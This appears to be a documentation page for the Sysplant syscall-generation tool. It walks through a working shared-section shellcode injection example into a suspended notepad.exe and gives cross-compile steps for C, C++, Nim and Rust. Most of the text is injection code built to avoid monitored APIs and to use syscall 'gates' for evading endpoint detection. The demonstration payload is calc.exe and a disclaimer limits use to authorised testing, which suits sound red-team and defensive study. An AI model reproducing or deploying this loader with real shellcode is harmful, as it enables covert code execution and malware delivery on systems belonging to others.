Shared section injection
Shared section injection example
calc.exe as a harmless proof of concept. Do not use on systems you do not own or are not explicitly authorised to test.This guide walks through the working injection example at example/inject.c. The code is cross-compiled on Linux and produces a Windows PE that performs shellcode injection into a suspended notepad.exe process using only syscalls generated by Sysplant — no WriteProcessMemory, no VirtualAllocEx.
Technique overview: shared-section injection
Instead of allocating memory in the target process directly, this technique creates a shared memory section (NtCreateSection) and maps it twice: once in the current process (read-write, for writing the shellcode) and once in the target process (execute-read, for executing it). Because both mappings back the same physical pages, copying the shellcode locally makes it visible in the remote process with no cross-process write call.
Current process Target process (suspended notepad.exe)
─────────────── ──────────────────────────────────────
localBase (RW) ──┐
│ shared physical pages
(unmapped after) └── remoteBase (RX)
↕
NtCreateThreadEx → thread starts at remoteBase
Syscalls used
The example uses five syscalls generated by Sysplant and one Win32 API call at the end:
| Call | Type | Purpose |
|---|---|---|
NtOpenProcess | Syscall | Open a handle to the suspended process |
NtCreateSection | Syscall | Create a shareable memory section |
NtMapViewOfSection (×2) | Syscall | Map the section locally (RW) and remotely (RX) |
NtUnmapViewOfSection | Syscall | Unmap the local RW view |
NtCreateThreadEx | Syscall | Create a thread in the target at remoteBase |
ResumeThread | Win32 API | Resume the suspended process's main thread |
Step 1 — Generate the syscall file
The example includes syscall.h, which you generate with Sysplant before compiling.
# Must be run from the Sysplant project root
sysplant generate -c \
-f NtOpenProcess,NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtCreateThreadEx \
-o example/syscall \
canterlot
This creates example/syscall.h using Canterlot's Gate with the default random method.
Step 2 — Walkthrough of inject.c
Launch the sacrificial process suspended
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe", // process to inject into
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, // don't start running yet
NULL, NULL, &si, &pi
);
WaitForSingleObject(pi.hProcess, 1000);
CreateProcessA is a Win32 API call (not a syscall). The process PID is in pi.dwProcessId.
Open a handle to the suspended process
InitializeObjectAttributes(&oa, NULL, 0, 0, NULL);
cid.UniqueProcess = (HANDLE)((UINT_PTR)pi.dwProcessId);
cid.UniqueThread = NULL;
NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &oa, &cid);
PROCESS_ALL_ACCESS grants the rights needed for subsequent section mapping.
Create the shared section
sectionSize.QuadPart = (LONGLONG)shellLen;
NtCreateSection(
&sHandle,
SECTION_ALL_ACCESS,
NULL,
§ionSize, // section is exactly as large as the shellcode
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,
NULL // no backing file — pure memory section
);
SEC_COMMIT means the pages are committed immediately. PAGE_EXECUTE_READWRITE defines the maximum protection; each view can restrict to a subset of these rights.
Map the section locally as read-write
viewSize = shellLen;
NtMapViewOfSection(
sHandle,
GetCurrentProcess(), // into this process
&localBase, // output: our local mapping address
0, shellLen, NULL,
&viewSize,
1, // ViewShare — share-mode enumeration value
0,
PAGE_READWRITE // RW only, no execute here
);
localBase is now a read-write mapping of the section in the current process.
Copy shellcode into the local mapping
memcpy(localBase, shellcode, shellLen);
Because the section is shared, the bytes written to localBase are immediately visible through remoteBase once it is mapped in the next step.
Map the same section into the target as execute-read
viewSize = shellLen;
NtMapViewOfSection(
sHandle,
pHandle, // into the suspended notepad process
&remoteBase, // output: address in the target's address space
0, shellLen, NULL,
&viewSize,
1,
0,
PAGE_EXECUTE_READ // no write, execute allowed
);
The kernel maps the same physical pages that localBase uses into pHandle's address space with RX protection.
Unmap the local view
NtUnmapViewOfSection(GetCurrentProcess(), localBase);
The shellcode is already in the shared pages; the local mapping is no longer needed.
Create a thread in the target at remoteBase
NtCreateThreadEx(
&tHandle,
THREAD_ALL_ACCESS,
NULL,
pHandle, // target process
(LPTHREAD_START_ROUTINE)remoteBase, // entry point = shellcode
NULL, FALSE, 0, 0, 0, NULL
);
The thread starts suspended when FALSE is passed at the CreateSuspended parameter position.
Resume the process
ResumeThread(tHandle);
ResumeThread is a Win32 API call (not a syscall). This resumes the thread created by NtCreateThreadEx and begins shellcode execution.
Step 3 — Compile for each language
C (Linux cross-compile)
# Install MinGW
sudo apt install mingw-w64
# Generate syscall.h
sysplant generate -c -o example/syscall canterlot
# Compile
x86_64-w64-mingw32-gcc -Wall -s -static -masm=intel example/inject.c -o example/inject.exe
C++ (Linux cross-compile)
sysplant generate -cpp -o example/syscall canterlot
x86_64-w64-mingw32-g++ -Wall -s -static -masm=intel example/inject.cpp -o example/inject.exe
NIM (requires winim)
# Install Nim and winim
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
nimble install winim
sudo apt install mingw-w64
# Generate
sysplant generate -nim -o example/syscall canterlot
# Compile
nim c -d=release -d=danger -d=strip --opt=size \
-d=mingw --app=console --cpu=amd64 \
--out=example/inject.exe example/inject.nim
Rust (Linux cross-compile)
# Install Rust + Windows target
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
rustup target add x86_64-pc-windows-gnu
sudo apt install mingw-w64
# Create Cargo project
cargo init --name inject example/rust-inject
# Configure linker: create example/rust-inject/.cargo/config.toml
# with content:
# [target.x86_64-pc-windows-gnu]
# linker = "x86_64-w64-mingw32-gcc"
# Generate syscall stub
sysplant generate -rust -o example/rust-inject/src/syscall canterlot
# Copy example source as main entry point
cp example/inject.rs example/rust-inject/src/main.rs
# Compile
cd example/rust-inject
cargo build --release --target x86_64-pc-windows-gnu
# Output: target/x86_64-pc-windows-gnu/release/inject.exe
Step 4 — Run
Transfer the compiled inject.exe to a Windows machine and execute it from a terminal:
inject.exe
A calc.exe window should appear. The spawned notepad.exe process terminates once the thread finishes.
Choosing a different gate
You can regenerate syscall.h with any supported gate without changing the C source:
# Halo's Gate — for environments where Canterlot parsing is blocked
sysplant generate -c -o example/syscall halo
# Custom: SysWhispers3 iterator with egg_hunter method
sysplant generate -c -o example/syscall custom -i syswhispers3 -m egg_hunter
Then recompile.